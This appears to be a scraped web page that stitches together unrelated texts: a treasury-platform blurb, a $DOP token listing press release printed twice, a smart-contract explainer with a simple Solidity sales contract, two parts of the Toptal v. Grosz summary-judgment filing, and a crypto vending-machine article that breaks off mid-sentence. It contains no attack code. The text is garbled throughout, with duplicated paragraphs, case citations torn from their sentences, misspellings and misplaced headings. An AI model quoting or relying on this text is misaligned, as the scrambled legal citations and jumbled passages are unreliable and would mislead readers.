Payable is a treasury operations platform for scaling finance teams. We give full control over your cash operations by connecting live banking data to your ERP and finance tools. Our platform helps scaling finance teams run multi-entity accounting and reporting, reconcile the accounting entry across all bank accounts and financial tools and instruct vendor payments at scale. Teams use Payable to automate their financial operations with custom reconciliation rules, payment approvals for audit trails and gain real-time cash visibility across all their entities and currencies from a single dashboard. Our most-loved products and features are: ☑️ Cash management - Centralise your banking ecosystem and get real-time global cash visibility ☑️ Reconciliation - Automatically reconcile transactions between your ERP and banking data ☑️ Payments automation - Speed up payment runs by automatically instructing payments at scale

Payable

payable

Recollections of My Life: Part 3

TOKYO, Japan, July 5th, 2024/Chainwire/--$DOP, the token of the Data Ownership Protocol(DOP) will be available for trading in 7 major cryptocurrency exchanges such as Bybit, Kucoin, HTX, Bitfinex, Gate.io, MEXC and WhiteBIT starting July 5th, 2024. The Data Ownership Protocol clarified that on Bybit, the token will be listed as $DOP1 to avoid confusion with an existing fiat coin. On KuCoin, Gate.io, Bitfinex, MEXC, and WhiteBIT, the token will be listed as $DOP. DOP launched its mainnet six weeks ago, following a highly successful testnet phase that saw participation from 2.67 million users. In the last six months, the DOP ecosystem has grown significantly. Over 1 million DOP wallets have been opened, and assets worth more than 10 million USD have been encrypted using the protocol, showcasing the increasing demand for user-centric data ownership solutions. “$DOP is the token of Data Ownership Protocol, a project that seeks to balance transparency and privacy on the blockchain, putting users in control of their data. The listing of our utility token marks a significant milestone and enhances our vision for the future of data ownership. We are thankful to our supporters and community who have believed in our mission from day one”, said Kohji Hirokado, co-founder of DOP and ex-core member at Cardano. Currently, the $DOP token serves two primary functions within the ecosystem: facilitating fee payments and granting community rewards. The usage of the protocol's data ownership features incurs fees payable in DOP tokens, creating a native demand for the token. This system incentivizes DOP token retention while implementing a deflationary mechanism through fee burning. It also rewards network supporters via staking distributions. To date, 210,000,000 DOP tokens have been allocated for staking rewards, with over 1.1 billion DOP tokens already staked. The listing announcement comes on the heels of Bybit's positioning as the world's second-largest cryptocurrency exchange by trading volume, surpassing Coinbase and trailing only Binance. Bybit's ascent has been remarkable, with its market share doubling from 8% to 16% since October 2023. To communicate the plans for the second half of 2024, DOP released a new roadmap following Q1's success. The plan introduces a $5 million developer grant program, expands protocol capabilities, and plans deployment on EVM-compatible chains beyond Ethereum, reducing gas fees and reaching more users. Moreover, the new developer SDK will enable developers to easily integrate and build dApps within the DOP ecosystem. Other objectives aim to enhance user security for managing NFTs by expanding functionality beyond ERC-20 tokens to include encryption and decryption of NFTs. About Data Ownership Protocol (DOP) The Data Ownership Protocol enables users to own their data. In crypto, financial data such as holdings, balances, and transaction history is publicly available on the blockchain. The mission of DOP technology is to let users decide what to share and with whom. DOP aims to empower individuals and businesses with more control over their data through selective transparency, utilizing zero-knowledge cryptography and other advanced technologies. For more information, users can visit Data Ownership Protocol's: Official Website | Twitter | Linkedin Data Ownership Protocol is the source of this content. This Press Release is for informational purposes only. The information does not constitute investment advice or an offer to invest. Contact Marketing DOP marketing@dop.org This story was distributed as a release by Chainwire under HackerNoon’s Business Blogging Program. Learn more about the program here. TOKYO, Japan, July 5th, 2024/Chainwire/-- $DOP, the token of the Data Ownership Protocol(DOP) will be available for trading in 7 major cryptocurrency exchanges such as Bybit, Kucoin, HTX, Bitfinex, Gate.io, MEXC and WhiteBIT starting July 5th, 2024. TOKYO, Japan, July 5th, 2024/Chainwire/-- The Data Ownership Protocol clarified that on Bybit, the token will be listed as $DOP1 to avoid confusion with an existing fiat coin. On KuCoin, Gate.io, Bitfinex, MEXC, and WhiteBIT, the token will be listed as $DOP. DOP launched its mainnet six weeks ago, following a highly successful testnet phase that saw participation from 2.67 million users. In the last six months, the DOP ecosystem has grown significantly. Over 1 million DOP wallets have been opened, and assets worth more than 10 million USD have been encrypted using the protocol, showcasing the increasing demand for user-centric data ownership solutions. “$DOP is the token of Data Ownership Protocol, a project that seeks to balance transparency and privacy on the blockchain, putting users in control of their data. The listing of our utility token marks a significant milestone and enhances our vision for the future of data ownership. We are thankful to our supporters and community who have believed in our mission from day one”, said Kohji Hirokado, co-founder of DOP and ex-core member at Cardano. “$DOP is the token of Data Ownership Protocol, a project that seeks to balance transparency and privacy on the blockchain, putting users in control of their data. The listing of our utility token marks a significant milestone and enhances our vision for the future of data ownership. We are thankful to our supporters and community who have believed in our mission from day one”, said Kohji Hirokado, co-founder of DOP and ex-core member at Cardano. Currently, the $DOP token serves two primary functions within the ecosystem: facilitating fee payments and granting community rewards. The usage of the protocol's data ownership features incurs fees payable in DOP tokens, creating a native demand for the token. This system incentivizes DOP token retention while implementing a deflationary mechanism through fee burning. It also rewards network supporters via staking distributions. To date, 210,000,000 DOP tokens have been allocated for staking rewards, with over 1.1 billion DOP tokens already staked. The listing announcement comes on the heels of Bybit's positioning as the world's second-largest cryptocurrency exchange by trading volume, surpassing Coinbase and trailing only Binance. Bybit's ascent has been remarkable, with its market share doubling from 8% to 16% since October 2023. To communicate the plans for the second half of 2024, DOP released a new roadmap following Q1's success. The plan introduces a $5 million developer grant program, expands protocol capabilities, and plans deployment on EVM-compatible chains beyond Ethereum, reducing gas fees and reaching more users. Moreover, the new developer SDK will enable developers to easily integrate and build dApps within the DOP ecosystem. Other objectives aim to enhance user security for managing NFTs by expanding functionality beyond ERC-20 tokens to include encryption and decryption of NFTs. About Data Ownership Protocol (DOP) The Data Ownership Protocol enables users to own their data. In crypto, financial data such as holdings, balances, and transaction history is publicly available on the blockchain. The mission of DOP technology is to let users decide what to share and with whom. DOP aims to empower individuals and businesses with more control over their data through selective transparency, utilizing zero-knowledge cryptography and other advanced technologies. For more information, users can visit Data Ownership Protocol's: Official Website | Twitter | Linkedin Official Website Official Website Twitter Twitter Linkedin Linkedin Data Ownership Protocol is the source of this content. This Press Release is for informational purposes only. The information does not constitute investment advice or an offer to invest. Contact Marketing DOP marketing@dop.org This story was distributed as a release by Chainwire under HackerNoon’s Business Blogging Program. Learn more about the program here. This story was distributed as a release by Chainwire under HackerNoon’s Business Blogging Program. Learn more about the program here . here here

$DOP Announces Listing On 7 Exchanges Including BYBIT, Kucoin, Gate.io, And Bitfinex

What Exactly is a Smart Contract? First introduced in the Ethereum blockchain, smart contracts are a fundamental building block of Web3 and a vital part of the blockchain’s advanced capabilities. They form the foundation for decentralized applications and automated business transactions by creating a level playing field of trust, authority, and authenticity that is already proving to be a paradigm shift in many industries today. Here, we take a look at what smart contracts are, how they work, and the opportunities they unlock for your business. We're going to analyze how they can be used to automate everything from internal business logic to programmable assets, transactions, and tokens. Most importantly, we're going to look at their benefits and limitations, how they're already being used today, and how they're going to evolve in the next few years. A is code hosted and executed on a blockchain network designed to execute a transaction when a set of predetermined conditions are met. Most often, it acts as an automated intermediary that will release funds, create tickets, or ship goods when all parties have met their obligations. In this use case, they answer the questions raised by eliminating third-party intermediaries from transactions and provide an accurate, fast, and tamper-proof way to exchange goods and funds. smart contract More broadly, smart contracts can be used to run any piece of code according to any external conditions at all. For example, they are becoming increasingly important in fields such as health care and logistics to maintain accurate records and updates with no possibility for tampering and fraud at their source. Smart contracts are a game-changing innovation in fields such as finance, health, and logistics because they have no central administrator or single attack vector for malicious parties to interfere with. There can be as many stipulations or requests baked into a smart contract as needed to meet everyone's demands before releasing funds, issuing tickets, or conducting a transaction. Whenever these conditions are met, a smart contract updates the blockchain with the finalized transaction, making the resulting ledger tamper-proof by design. When applied to multi-party digital agreements, smart contracts reduce the risks for all parties, increase efficiency, and provide a level of transparency that changes how we work with business transactions. Creating Smart Contracts As we've defined here, smart contracts are just pieces of code that happen to run on the blockchain. Like any other kind of code, there are about as many languages, conventions, and tools as there are developers available to write smart contracts. Etherium's is still the most popular by far, launching with the blockchain in 2015. However, there are many others worth mentioning for any new use cases you might have for your smart contracts. Solidity These include: . Another language for building Ethereum smart contracts. Vyper is designed to be more secure and easier to maintain than Solidity. In contrast, it has a smaller community and fewer resources to lean on. Vyper . Well-known and highly appreciated as a general-purpose language, Rust has exceptional resources and tooling for working in the blockchain space. Rust . The popularity and use of these languages within blockchain applications show blockchain as an evolution of tried and tested technologies rather than an intimidating shift to computing as we know it. C/C++ . Known for being simple, efficient, and in a league of its own when working with concurrency — Go is an excellent choice for building new kinds of applications using blockchain technologies. Go (GoLang) Any developer can create their smart contracts to deploy to a public blockchain using any language or tool they choose. Some of the most lucrative examples might include a personal yield aggregator that transfers funds to the highest-earning application to maximize returns. As with the rest of the blockchain, there's no authority or gatekeeper barring entry from the resource. A simple smart contract to manage product sales in Solidity might look something like this: pragma solidity 0.8.7;

contract SimpleSale {

    // Declare state variables
    address public owner;
    mapping (address => uint) public inventoryBalance;

    // When 'SimpleSale' contract is deployed:
    // 1. set the deploying address as the owner of the contract
    // 2. set the deployed smart contract's inventoryBalance to 100
    constructor() {
        owner = msg.sender;
        inventoryBalance[address(this)] = 100;
    }

    // Allow the owner to increase the smart contract's inventory
    function refillInventory(uint amount) public {
        require(msg.sender == owner, "Only the owner can refill.");
        inventoryBalance[address(this)] += amount;
    }

    // Allow anyone to purchase producrs
    function purchase(uint amount) public payable {
        require(msg.value >= amount * 1 ether, "You must pay at least 1 ETH per product");
        require(inventoryBalance[address(this)] >= amount, "Not enough inventory in stock");
        inventoryBalance[address(this)] -= amount;
        inventoryBalance[msg.sender] += amount;
    }

} As a trivial example, this smart contract demonstrates how the technology can be used to automate transactions and replace intermediaries in almost any industry. Many smart contracts involve multiple independent parties that have a very limited relationship and even less trust. The smart contract they use to interact will define exactly how, when, and where each party can interact with the transaction and what the results will be for any given input. This creates a multi-party digital agreement that executes automatically when everyone involved in the transaction has met the right conditions. Smart Contracts in Action Some key uses of smart contracts involve automating business processes and transactions between several entities. This means they can automate payments, process flow, and dispute resolutions to create highly efficient processes that minimize time, risk, and costs to every business. For example, a smart contract that governs global supply and trade might have just a couple of simple terms such as: If the product arrives on time, execute payment from retailer to supplier in the full amount. Condition 1: If the product arrives late, then execute partial payment from the retailer to the supplier for 95% of the full amount. Condition 2: Of course, this is a simplified trivial example but there are any number of supplier and customer relationships that can benefit from this technology without relying on intermediate payment processors. Another type of smart contract utilizes decentralized applications that provide interaction across the board without explicitly setting up permissions. Public distributed apps are typically open-source code that can be widely scrutinized to avoid any security concerns. One example of this type of application is a lending/borrowing market that works on the following terms: If a user deposits collateral into a specific smart contract, they will be issued a loan for some value of their posted collateral. Term 1: If the user’s collateralization ratio (collateral/outstanding loan value) drops below 200%, then the user’s collateral is automatically liquidated and transferred to the lender. Term 2: Lenders can deposit funds into a specific contract that other users can borrow from at predefined collateralization ratios, while the lender receives a claim to a portion of the interest rate payments. Term 3: Using these automated methods creates a fair and transparent method of lending that doesn't rely on a third party or central authority with a monopoly on terms and conditions. What this means in practice is that well-designed smart contracts can eliminate counterparty risk, and make it impossible for either party to renege on the terms of a deal, or fail to fulfill their contractual obligations. However, smart contracts are open instead to another kind of risk. Smart contract risk introduces the possibility that the code defining the contract has an inherent flaw or exploit that leads to undesirable outcomes. To guard against this, smart contracts have to be carefully looked over and well-understood by all parties before proceeding with the agreed-upon transaction. Benefits and Limitations to Smart Contracts Smart contracts offer a safer and more verifiable way of creating, maintaining, and upholding agreements in both B2B and B2C spaces. They offer data security and guarantees that can't be made any other way — creating something of a paradigm shift to come. However, the blockchain landscape is still relatively new for many, and smart contracts have yet to be proven at the kind of scale we're used to associating with high degrees of trust and authority. In short, we've still to get to know them fully to understand the risks and advantages they bring to a project. So let's take a look at what they can deliver into the project today and what we should currently guard against before we begin using them. Benefits of Smart Contracts When the conditions of a smart contract are met it is executed immediately without question. By shifting to an automated digital way of working there's no processing time (or fees), time spent checking, fixing, and re-issuing after errors, and nothing is ever lost or broken through manual processing. Speed, efficiency, and accuracy. Without the need to bring a third party into the transaction and an encrypted public record is shared — there's no question over whether documents have been altered or truncated at any stage in the process. Trust and Transparency. Blockchain records are public, shared, and immutable, meaning they can't be changed after the fact and have no single point of weakness. Each record in the chain is connected and verified by the last, making it impossible to change past transactions for malicious gain. Security. Smart contracts don't need intermediaries to execute so there are no fees or costs for handling or verification. As a result, smart contracts are the cheapest and fastest way to handle transactions. Cost-Effective. Limitations of Smart Contracts The strongest security feature of a smart contract is also one of its biggest limitations. By being immutable, any bugs or problems in the code can't be changed at any time after the contract has been issued. Any changes in external conditions or demands of the business can only ever be reflected in a new smart contract. Immutability. It's crucial that all parties involved in a smart contract understand its conditions and know how to scrutinize it. Bugs, whether introduced innocently or maliciously, can have severe consequences when executed. Every party on the contract needs to know how the code works and what it's going to do when executed. Complexity. Most smart contracts rely on external data for their preconditions. However, this data isn't accessible directly on the blockchain. Smart contracts have to rely on external services (oracles) to retrieve information outside the blockchain — introducing an element of third-party trust, reliability, and verification into some smart contracts. Oracle Dependency. Five Key Applications for Smart Contracts In truth, we're only just scratching the surface of what smart contracts can provide for organizations in the future. The creativity, innovation, and capabilities of developers can always be depended on to push the boundaries ever further to build ever more capable solutions to everyday business challenges. Five of the most innovative ways smart contracts are being used in organizations right now include: 1. Decentralised Finance (DeFi) Smart contracts enable decentralized lending, borrowing, and trading without the need for intermediaries within the transaction. There are already a host of DeFi platforms like and set up to allow decentralized transactions using smart contracts today. Compound aave 2. Insurance One of the largest and most profitable industries that smart contracts could revolutionize overnight is insurance. Smart contracts can automatically asses external conditions using known sources and trigger automated payouts or resolve accounts according to the terms of the agreement. The efficiency and guarantees smart contracts can provide for insurance products may well prove to overhaul the industry. 3. Supply Chain Management In contrast, smart contracts can make some of the biggest impacts in logistics. By enabling transparency and accurate accounting in supply chains, smart contracts can provide a level of oversight and tracking otherwise unheard of. Many logistics companies are already using them to track goods from production to distribution with a proven record of cutting down loss and fraud in real-world use. 4. Accurate Admin One of the largely unsung applications of smart contracts is their ability to securely store and manage data over the long term. Unlike traditional methods of increasing data security, smart contracts make data more accessible, easier to access, and more secure at the same time. In fields such as health tech, this has the power to be truly revolutionary by allowing patients both better access and security over highly confidential data. 5. Identity Management Smart contracts are ideal digital custodians to ensure the integrity of confidential information. This is critically important in maintaining and proving your identity, particularly on the web. Smart contract features such as selective disclosure, blockchain verification, and its in-built privacy by design are a paradigm shift in how we manage our online and in-person identities that will shift control of our identities from third-party organizations back to the individual. Learning Smart Contracts As one of the cornerstones of Web 3, smart contracts are set to revolutionize the way you conduct transactions and agreements in every context. The first step to reaching these capabilities is understanding exactly what they are, how to use them, and the way they work in business today. There's little doubt that they will continue to evolve and change over time as blockchain, web3, and future technologies become increasingly relevant within modern business. Understanding these technologies on the ground floor is a great first step towards innovating with them sooner, faster, and more effectively than the competition.

Smart Contracts: What They Are and How They Revolutionize Business

TOPTAL, LLC v. DENIS GROSZ Court Filing, retrieved on February 26, 2024, is part of . You can jump to any part in this filing . This part is 5 of 7. HackerNoon’s Legal PDF Series here B. Repaying Matured Debt is not a Breach The Court agrees with Toptal's interpretation that based on the unambiguous language of the Note and the NPA, principal and accrued interest were due and payable any time after the May 14, 2014, Maturity Date. The Note itself states that “Unless earlier converted into Conversion Shares pursuant to Section 2.2 of [the NPA] ... the principal and accrued interest shall be due and payable by the Company on demand by the Lender at any time after the Maturity Date.” Consistent with that provision, the NPA provides that Mr. Grosz could have sued Toptal for principal and interest after the Maturity Date without first demanding payment before suing, as Mr. Grosz has admitted in briefs filed with the Court. Grosz's Reply in Supp. of Mot. to Dismiss at 5 n.3. Toptal thus did not breach by attempting to pay Mr. Grosz an amount equal to the principal and accrued interest on March 26, 2020, nearly six years after the Note's Maturity Date. E.g., The Note's use of the phrase “on demand by the Lender” does not change this conclusion. California courts have held for over 150 years that a “note payable on demand[] is payable immediately, and demand need not be made.” 38 Cal. 407, 407 (1869); demand accrues with the inception of the obligation and without the necessity for any demand hardly requires the citation of authority.).[4] Mr. Grosz does not cite any authority—binding or persuasive—to the contrary.[5] Thus, Toptal did not breach by attempting to repay after the Maturity Date even though Mr. Grosz had not made a demand. , 54 Cal. App. 485, 488-89 (1921) (applying “the well-settled principle that an obligation for the payment of money on demand is due immediately, no actual demand is necessary, “and an “express waiver" of demand “is equivalent to a contract that the debt shall be payable without any previous demand“). E.g., Bell v. Sackett, see See Rottman v. Hevener Toptal’s reading that the Note became due and payable on the Maturity Date also is consistent with the meaning of the term “Maturity Date.“ As court have observed, “maturity dates generally rank as among the most staid of contract terms. While one can muster adventurous arguments and debate about all sort of other terms, what is there to contest about the typical maturity date in a promissory note? Before the date, there is merely an obligation. On or after the date, principal and any itnerest are owed.” 2014 WL 1494370, at *1 (N.D. Cal. Apr. 16, 2014). As noted above, Mr. Grosz has admitted that he could have sued Toptal for failure to repay after the Maturity Date without first making a demand, and “[i]t is settled that an obligation ‘matures‘ when the holder of the note has a legal right to bring ana ction to force payment.” Jessup Farms v. Baldwin, 33 Cal. 3d 639 (1983). Fennie v. E-Fuel Corp., The Court rejects Mr. Grosz's argument that the Note prohibits Toptal from paying the principal and accrued interest without his consent after the Maturity Date. The provision to which Mr. Grosz points is a prohibition on “prepayment”—not “repayment”—and it simply stands for the uncontested fact that Toptal was prohibited from paying Mr. Grosz the principal and accrued interest prior to when it became due and payable on the Maturity Date. Moreover, Section 7.1(a) of the NPA authorizes Mr. Grosz to declare an event of default and sue Toptal if Toptal defaulted in the payment of any part of the principal and interest more than thirty days after the Maturity Date. Mr. Grosz's argument that he could block Toptal from returning the principal and interest on the matured Note by withholding demand but at the same time declare an event of default and sue Toptal for failure to repay introduces an “unnecessary internal inconsistency.” 229 Cal. App. 4th 549, 568 (2014); 2010 WL 19295666, at *4 (N.D. Cal. May 12, 2010). The only reasonable interpretation, then, is that Toptal had an obligation to repay Mr. Grosz after the Maturity Date; otherwise, there would be no rational reason why Mr. Grosz could declare an event of default and sue Toptal for failing to repay thirty days after the Maturity Date. Cal. Civ. Code § 1641 (“The whole of a contract is to be taken together, so as to give effect to every part, if reasonably practicable, each clause helping to interpret the other.”); § 1643 (“A contract must receive such an interpretation as will make it ... reasonable.”); 3542 (“Interpretation must be reasonable.”). See Dameron Hosp. Assn v. AAA N. California, Nevada & Utah Ins. xch., Harrison Ventures, LLC v. Alta Mira Treatment Ctr., LLC, See id. id. § The Court thus finds that the terms of the NPA and Note, as well as settled California law, establish that Mr. Grosz's Note became due and payable on the Maturity Date and that Toptal was within its rights to return an amount equal to Mr. Grosz's principal and accrued interest in March 2020. Summary judgment is granted to Toptal on this theory of breach. Continue Reading . Here [4] The Court disagrees with Mr. Grosz's argument that cases interpreting the phrase “on demand” in promissory notes are irrelevant because his Note is “a modern convertible promissory note.” It is neither uncommon nor inappropriate to review case law from the past. In any event, as Toptal observes, California courts acknowledge that convertible debt instruments have long been issued in the United States, including its initial industrial expansion and the building of railroads, see Kessler v. Gen. Cable Corp., 92 Cal. App. 3d 531, 537-39 (1979), and the California case law interpreting the “on demand” language in convertible notes is as recent as 2019, see t’Bear v. Forman, 359 F. Supp. 3d 882 (N.D. Cal. 2019). [5] Mr. Grosz cites to the unpublished decision in Vigdor v. Super Lucky Casino, Inc., 2018 WL 6069944 (N.D. Cal. Nov. 20, 2018), but that case did not overturn a century and a half of California case law interpreting “on demand“ contracts. Vigdor did not address the interpretation of the words “on demand“ or “maturity date“ under California law (and the briefing in that case shows that none of the cases cited above were brought to the Vigdor court’s attention by either side). Further, the Vigdor note purchase agreement did not provide for default and the ability to sue for repayment if the principal and interest were not repaid within 30 days of the maturity date. Moreover, the Vigdor note purchase agreement involved multiple lenders, and the complaining noteholders only had a minority in interest who did not have the contractual ability to act absent the consent and approval of other third parties who represented a majority in interest. In this case, Mr. Grosz, as the single lender under the NPA, was at all times able to unilaterally act under his contract with Toptal without recourse to the consent of any third parties. Notably, the result in Vigdor was repayment of the principal and interest after the maturity date over the objection of certain noteholders who preferred to receive equity, just as Mr. Grosz does here. About HackerNoon Legal PDF Series: We bring you the most important technical and insightful public domain court case filings. This court case retrieved on October 11, 2023, from is part of the public domain. The court-created documents are works of the federal government, and under copyright law, are automatically placed in the public domain and may be shared without legal restriction. media.licdn.com

Toptal's Debt Repayment Strategy Evaluated in Legal Context

TOPTAL, LLC v. DENIS GROSZ Court Filing, retrieved on February 26, 2024 is part of . You can jump to any part in this filing . This part is 1 of 7. HackerNoon’s Legal PDF Series here This matter comes before the Court on Toptal, LLC's (“Toptal”) Motion for Summary Judgment (“Motion”). In the Motion, Toptal argues that Denis Grosz (“Mr. Grosz”) cannot prove that Toptal (a) breached the Note Purchase Agreement (the “NPA”), convertible promissory note (the “Note”), or (b) the Advisor Agreement entered into by the parties on November 14, 2012[1]; that Mr. Grosz's declaratory judgment counterclaims are superfluous; and that Mr. Grosz's counterclaims are barred by the statutes of limitations. The Court has considered the parties’ motion papers, the'arguments by the parties on September 29, 2023, and October 9, 2023, and the supplemental briefing submitted by the parties on October 4, 2023. The Court finds that there are no material disputed questions of fact with respect to part (a) of Toptal's Motion - whether Toptal breached the Note Purchase Agreement (the “NPA”) and convertible promissory note (the “NOTE”) and hereby grants that part of Toptal's Motion. Given this determination, it is not statute of limitations. California Code Section 360 cannot extend the 15 day period to elect the conversion even under Grosz's reading of the statute to extend the statute of limitations period for contracts. [2] As to Mr. Grosz's counterclaim for breach of the Advisor Agreement, Toptal argues that Mr. Grosz cannot show breach of contract because Mr. Grosz has not submitted evidence of damages. Grosz rests his damage model on the testimony of expert Gregory Nachtwey. The Court damages. Grosz rests his damage model on the testimony of expert Gregory Nachtwey. The Court will defer ruling on this counterclaim until after the hearing on the Motion in Limine concerning the admissibility of Mr. Nachtwey's opinions. FACTS AND PROCEDURAL HISTORY* In 2010, Mr. Du Val founded Toptal, a single-member LLC. Mr. Du Val is and always has been the CEO and sole member of Toptal. Mr. Grosz provided Toptal $1 million pursuant to the NPA on November 14, 2012, and, in exchange, Toptal issued him the Note. As part of that transaction, the parties also entered into an Advisor Agreement on the same day, pursuant to which Mr. Grosz agreed to advise the company in exchange for the opportunity to purchase 1.5% equity in Toptal subject to certain conditions that have not occurred to this day. Mr. Grosz asserts that Toptal breached the NPA and Note by (i) failing to convert to a C-corporation and give him equity upon his written election on November 24, 2015, and/or (ii) attempting to repay his principals, and accrued interest on the Note in March 2020. Several provisions of the NPA and Note are relevant to the Motion. First, the Note states that “[u]nless earlier converted into Conversion Shares pursuant to Section 2.2 of that certain Note Purchase Agreement dated November    , 2012 among the Company and the Lender (the ‘Purchase Agreement’), the principal and accrued interest shall be due and payable by the Company on demand by the Lender at any time after the Maturity Date.”   The Note contains a provision expressly waiving presentment and demand. The NPA defines the “Maturity Date” as “May 14, 2014.” Second, Section 2.2 of the NPA is titled, .”' Section 2.2(a) provides that “[t]he principal and unpaid accrued interest of the Note will be automatically converted into Conversion Shares upon the closing of the Next Equity Financing....” A Next Equity Financing Conversion Shares upon the closing of the Next Equity Financing....” A Next Equity Financing (a defined term in the NPA) did not take place prior to the Maturity Date and has not taken place to this day. Section 2.2(b) of the NPA states: “ At any time on or after the fifteenth (15th) day prior to the Maturity Date, if the Next Equity Financing has not occurred by that time, the Note, at Lender's election by written notice to the Company, will be converted into Common Stock of the Company such that the Lender receives shares constituting 8.333% of the Fully-Diluted Equity Securities of the Company following such conversion.” “ Rieht to Convert Note Optional Conversion. The parties dispute whether Section 2.2(b) provides Mr. Grosz with a 15-day window  before the Maturity Date in which to make an election to convert his Note to equity. For its part, Toptal argues that Mr. Grosz's ability to make an election under Section 2.2(b) ended on the Maturity Date. On the other hand, Mr. Grosz argues that Section 2.2(b) allows him to elect to convert his Note starting 15 days prior to the Maturity Date and continuing forever into the future. The parties agree that Mr. Grosz did not make an election under Section 2.2(b) prior to the Maturity Date. The parties also dispute the meaning of Section 2.2(c) of the NPA, which states: “ For clarification, the Company agrees to complete a Company Conversion prior to any conversion of the Note pursuant to this Section 2.2.” Mr. Grosz claims that this provision, read in connection with Section 2.2(b), grants him the power to force Toptal to complete a Company Conversion. In other words, Mr. Grosz claims that once he makes an election under Section 2.2(b), Toptal must convert from an LLC to a C-corporation under Section 2.2(c) so that it can issue Mr. Grosz equity. Toptal disagrees that Section 2.2(c) grants Mr. Grosz the power to force Toptal to change its corporate form. Companv Conversion Prior to Note Conversion. The NPA also contains a section titled ” which provides that “[t]he following events shall be considered Events of Default with respect to the Note following, and only upon, the declaration of default by the Note holder under Section 7.2: “ Events of Default, (a) The Company shall default in the payment of any part of the principal or unpaid accrued interest on the Note for more than thirty (30) days after the Maturity Date or at a date fixed by acceleration or otherwise;. (b) The Company shall fail to observe or perform any other obligation to be observed or performed by it under this Agreement or the Note, within 30 days after written notice from the Note holder to perform or observe the obligation.” Section 7.2 of the NPA states: “Remedies. Upon the occurrence of an Event of Default under Section 7.1 hereof, only at the option and upon the declaration of the holder of the Note, the entire unpaid principal and accrued and unpaid interest on the Note shall, without presentment, demand, protest, or notice of any kind, all of which are hereby expressly waived, be forthwith due and payable, and such holder may, immediately and without expiration of any period of grace, enforce payment of all amounts due and owing under the Note and exercise any and all other remedies granted to it at law, in equity or otherwise.” It is undisputed that Toptal did not convert to a C-corporation before the May 14, 2014, Maturity Date or pay any outstanding principal and interest to Mr. Grosz within 30 days after the Maturity Date. Continue Reading . Here [I] There are no fully executed copies of these agreements in the Record. The Court has reviewed a copy of the NPA and the Advisor Agreement containing Taso Du Val's (“Mr. Du Val”) signature on behalf of Toptal, but those agreements are missing Mr. Grosz's signature. The Court has not received an executed copy of the Note. However, the Court does not address whether the lack of signatures by all parties renders the Agreements unenforceable, because Count I of Mr. Grosz's counterclaims fails as a matter of law in any event. [2] Toptal's other arguments that Mr. Grosz's remaining counterclaims are untimely is addressed in a separate order. [3] The facts set forth in this Order are the facts “viewed in the light most favorable to the non-movant,” Mr. Grosz. 121 Nev. 724, 729 (2005) (“[W]hen reviewing a motion for summary judgment, the evidence, and any reasonable inferences drawn from it, must be viewed in a light most favorable to the nonmoving party.”); 118 Nev. 288, 293 (2002); 26 Carrington Mortg. Servs., 139 Nev. Adv. Op. 13 (2023). Wood v. Safeway, Inc., Chavez v. Sievers, see also Wishengrad v. About HackerNoon Legal PDF Series: We bring you the most important technical and insightful public domain court case filings. This court case retrieved on October 11, 2023, from is part of the public domain. The court-created documents are works of the federal government, and under copyright law, are automatically placed in the public domain and may be shared without legal restriction. media.licdn.com

Toptal, LLC v. Denis Grosz: Summary Judgement and Court Filing Analysis

States Seek Relief Against Meta for COPPA Violations

581 Stories To Learn About Non Fiction

Did you know that we have certain kinds of vending machines in the crypto world too? They were designed to facilitate users' experience in various operations involving trading —of any kind of token or physical product. as the product itself or as the payment method. In other words, you could use them or even create them to buy and sell something, including cryptocurrencies in the process Several companies have built and installed crypto-related physical vending machines in numerous cities worldwide. However, not every “vending machine” in crypto is physical. We also have digital vending machines to improve our experience. Let’s learn more about them. Physical Vending Machines + Crypto , the company American Green was likely the first one to build a Bitcoin-payment-friendly vending machine. To dispense medical marijuana. Due to the nature of the product, the machine also could scan IDs before the purchase, paid with BTC. Back in 2014 Different products and brands would join over the years: Today, it’s even possible to configure regular vending machines, to accept several cryptocurrencies, with the app . The product inside would depend solely on the owner(s). to buy beer, (with Litecoin), soft drinks, and much more. Red Bull snacks, PayRange , a new crypto vending physical machine would appear. This time, the tokens weren’t the payment method, but the product. Neon Marketplace created the first-ever vending machine to sell Non-Fungible Tokens (NFTs) physically; and installed it in New York (USA). They offered two collections in the Solana chain: “Colors” and “Party Pidgeons,” payable by credit card instead of cryptocurrencies. After 2022 The users would receive a small package containing a code to redeem their $6 or $421 prize. , the package could get stuck in the machine (like in any other vending machine) or the code may be defective. However, it’s considered a beginner-friendly way to start in the crypto world. Sometimes , including myNFT (London), Masahide Matsuda (Tokyo), Atlas (Malaysia), and the (Vancouver). Often, it would be possible to pay in crypto as well, and the machine would stay in place indefinitely. Some other times, this would be just a temporary exhibition at a crypto-related conference or art display. Other companies and artists would follow the example and create their own NFT vending machines Skull Society Digital Dispensers In 2019, even before the physical versions, a developer recreated the same vending machine process to buy and sell tokens digitally. It was a program inside the Bitcoin-based Counterparty Network, called “Dispenser,” and released by John "Chiguireitor" Villar through the Counterparty Improvement Proposal 21 ( ). CIP21 Unlike their physical counterparts, these virtual machines are accessible through websites or mobile/desktop applications, presenting the digital item, its quantity, price, and other pertinent details. Basically, a dispenser in Counterparty is a virtual vending machine, akin to its physical counterpart but instead of doling out sodas, it dispenses digital objects (NFTs or other compatible tokens). Dispensers provide a simple yet efficient mechanism for both creation and use. To create one, a seller requires some compatible assets (created with Counterparty) and configures the virtual dispenser to deliver a desired quantity of tokens at a specified price. Users, on the other hand, access dispensers through direct links, explore available options, and make purchases by sending the exact amount to the provided address, receiving the acquired NFTs promptly. BTC . Dispensers are still based in Bitcoin, though, so the transactions will always depend on the miners —some sort of middlemen. This user-friendly process eliminates intermediaries, making dispensers an accessible and cost-effective solution for digital item exchange within the Counterparty ecosystem They’re not smart contracts that mediate between users, but a digital entity by themselves, working independently after the first configuration and until the product is sold out. Another potential issue lies there, though: if the product (the asset) is sold out, and the user isn’t paying attention, they could lose all the funds sent to the dispenser. Autonomous Agents (AAs) There is another kind of crypto-related “vending machine,” but this one is more versatile than the others. Similar to smart contracts, in Obyte are computer programs, built with code on a distributed ledger. They’re designed to make a specific (and digital) task, but they’re not there to represent a real human “party,” user, or company. Autonomous Agents Smart contracts can enforce some pre-set conditions of any accord between users, while Autonomous Agents are a kind of “users” themselves. Just like vending machines, only that they have an unalterable code and can’t issue a wrong order or get stuck. Automated users, always available to carry on a specific task at the call of a human user. AAs receive transactions with money and data, delivering a response—monetary tokens and recorded data on the Directed Acyclic Graph (DAG) ledger, free of miners and other middlemen, which makes it more decentralized than other networks. They operate independently, transparently displaying expected responses in the same wallet before completing the transaction. Developed in Oscript, a programming language optimized for safety, AAs enable precise execution of tasks, minimizing errors. They serve various purposes: from decentralized exchanges and payment channels to prediction markets and lending apps. So, anyone can interact 